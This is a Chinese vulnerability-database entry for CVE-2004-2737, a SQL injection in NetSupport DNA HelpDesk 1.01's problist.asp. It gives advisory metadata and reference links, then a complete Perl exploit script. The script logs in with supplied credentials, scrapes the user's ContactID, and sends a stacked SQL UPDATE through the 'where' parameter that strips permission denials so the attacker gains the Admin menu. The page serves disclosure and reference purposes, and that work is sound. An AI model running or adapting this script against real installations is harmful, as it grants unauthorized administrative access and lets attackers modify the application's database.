NetSupport DNA HelpDesk Problist脚本SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1108070 漏洞类型 SQL注入
发布时间 2004-07-21 更新时间 2007-10-10
CVE编号 CVE-2004-2737 CNNVD-ID CNNVD-200412-922
漏洞平台 ASP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/24299
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200412-922
|漏洞详情
NetSupportDNAHelpDesk1.01版本的problist.asp存在SQL注入漏洞。远程攻击者可以借助where参数执行任意SQL命令。
|漏洞EXP
source: http://www.securityfocus.com/bid/10772/info

An SQL injection vulnerability is identified in the application that may allow attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks. 

This vulnerability exists due to insufficient sanitization of user-supplied input through the 'where' parameter of 'problist.asp' script.

Successful exploitation could result in compromise of the application, disclosure or modification of data or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may gain access to the administrative username and password and execute arbitrary database commands as well. 

DNA HelpDesk version 1.01 is affected by this vulnerability. Other versions may be affected as well.

#!/usr/bin/perl
use IO::Socket;
use strict;

my $verbose = 0;

if (($#ARGV+1) < 4)
{
 print "Usage (Provided only ".($#ARGV+1)." parameters):\n";
 print "DNAHack.pl host path email password\n";
 print "host - IP/name formed (e.g. 192.168.1.243)\n";
 print "path - The path under which the product is installed (e.g. /HelpDesk/)\n";
 print "email - The email used to logon (e.g. example\@com.com)\n";
 print "password - The password used for the email provided (e.g. foobar)\n";
 exit(0);
}

my $host = $ARGV[0];
my $path = $ARGV[1];

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "80" );

unless ($remote) { die "cannot connect to http daemon on $host" }

if ($verbose)
{
 print "connected\n";
}

$remote->autoflush(1);

my $Email = $ARGV[2];
my $Password = $ARGV[3];

print "Grabbing initial cookie\n";

my $http = "GET /$path/logon.asp HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405 Firefox/0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,ima
ge/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Referer: http://$host/$path/logon.asp

";

print $remote $http;
if ($verbose)
{
 print "HTTP: [".$http."]\n";
}

sleep(1);

my $Cookie = "";
while (<$remote>)
{
 if (/Set-Cookie: ([^;]+;)/)
 {
  $Cookie .= $1." ";
 }
 if ($verbose)
 {
  print "$_";
 }
}

print "Cookie: $Cookie\n";

close($remote);

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "80" );

unless ($remote) { die "cannot connect to http daemon on $host" }

if ($verbose)
{
 print "connected\n";
}

$remote->autoflush(1);

print "Performing logon\n";

$http = "POST /$path/logon.asp HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405 Firefox/0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Cookie: $Cookie
Connection: close
Referer: http://$host/$path/logon.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: ";

my $content = "EmailAddress=$Email&password=$Password&action=submit&submitBtn=Logon&Redirect=";

$http .= length($content) ."\r\n";

$http .= "\r\n$content";

print $remote $http;
if ($verbose)
{
 print "HTTP: [".$http."]\n";
}
 
sleep(1);

while (<$remote>)
{
 if (/Set-Cookie: ([^;]+;)/)
 {
  $Cookie .= $1." ";
 }

 if ($verbose)
 {
  print "$_";
 }
}

close($remote);

print "Cookie: $Cookie\n";

print "Grabbing ContactID\n";

$remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "80" );
unless ($remote) { die "cannot connect to http daemon on $host" }

if ($verbose)
{
 print "connected\n";
}

$remote->autoflush(1);

$http = "GET /helpdesk/createContact.asp?editself=1 HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405 Firefox/0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Cookie: $Cookie

";

my $ContactID;

print $remote $http;

sleep(1);

while (<$remote>)
{
 if (/<input type="hidden" id="ContactID" name="ContactID" value="([0-9]+)">/)
 {
  $ContactID = $1;
 }
 if ($verbose)
 {
  print "$_";
 }
}

close $remote;

print "ContactID: $ContactID\n";

print "Gaining elvated privileges\n";

$remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "80" );
unless ($remote) { die "cannot connect to http daemon on $host" }
if ($verbose)
{
 print "connected\n";
}
$remote->autoflush(1);
                     
$http = "GET /$path/problist.asp?where=1%3D0+order+by+TicketId;+UPDATE+HD_Permissions+SET+denyPermission=0+WHERE+ContactId=$ContactID+-- HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405 Firefox/0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Cookie: $Cookie

";

print "Gaining privileges\n";
print $remote $http;
sleep(1);

while (<$remote>)
{
 if ($verbose)
 {
  print "$_";
 }
}
print "\n";

close $remote;

print "Logon to the system as before, you should be able to view the 'Admin' menu\n";
|参考资料

来源:XF
名称:dnahelpdesk-problistasp-sql-injection(16782)
链接:http://xforce.iss.net/xforce/xfdb/16782
来源:BID
名称:10772
链接:http://www.securityfocus.com/bid/10772
来源:www.securiteam.com
链接:http://www.securiteam.com/windowsntfocus/5PP0L0ADGE.html
来源:OSVDB
名称:8169
链接:http://www.osvdb.org/8169
来源:SECUNIA
名称:12119
链接:http://secunia.com/advisories/12119